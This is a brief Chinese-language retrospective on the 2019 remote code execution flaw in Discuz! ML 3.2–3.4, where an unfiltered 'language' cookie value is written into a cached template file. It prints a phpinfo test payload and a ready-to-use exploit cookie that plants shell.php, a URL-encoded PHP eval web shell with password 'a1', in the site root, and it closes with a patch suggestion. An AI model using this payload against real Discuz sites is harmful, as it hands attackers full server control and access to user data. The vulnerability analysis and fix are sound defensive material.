此文为回忆篇
受影响的版本:
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
01:
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
02:
phpinfo 验证:
xxxx_language='.phpinfo().';
Exp:
修改Cookie中的xxxx_language字段为以下内容即可
'. file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22a1%22%5d)%3b%3f%3e')).'
访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1
url解码结果:
'. file_put_contents('shell.php',urldecode('')).'
修复建议:
建议修改source/function/function_core.php 644行为
/*vot*/ $cachefile ='./data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/','_', $file).'.tpl.php';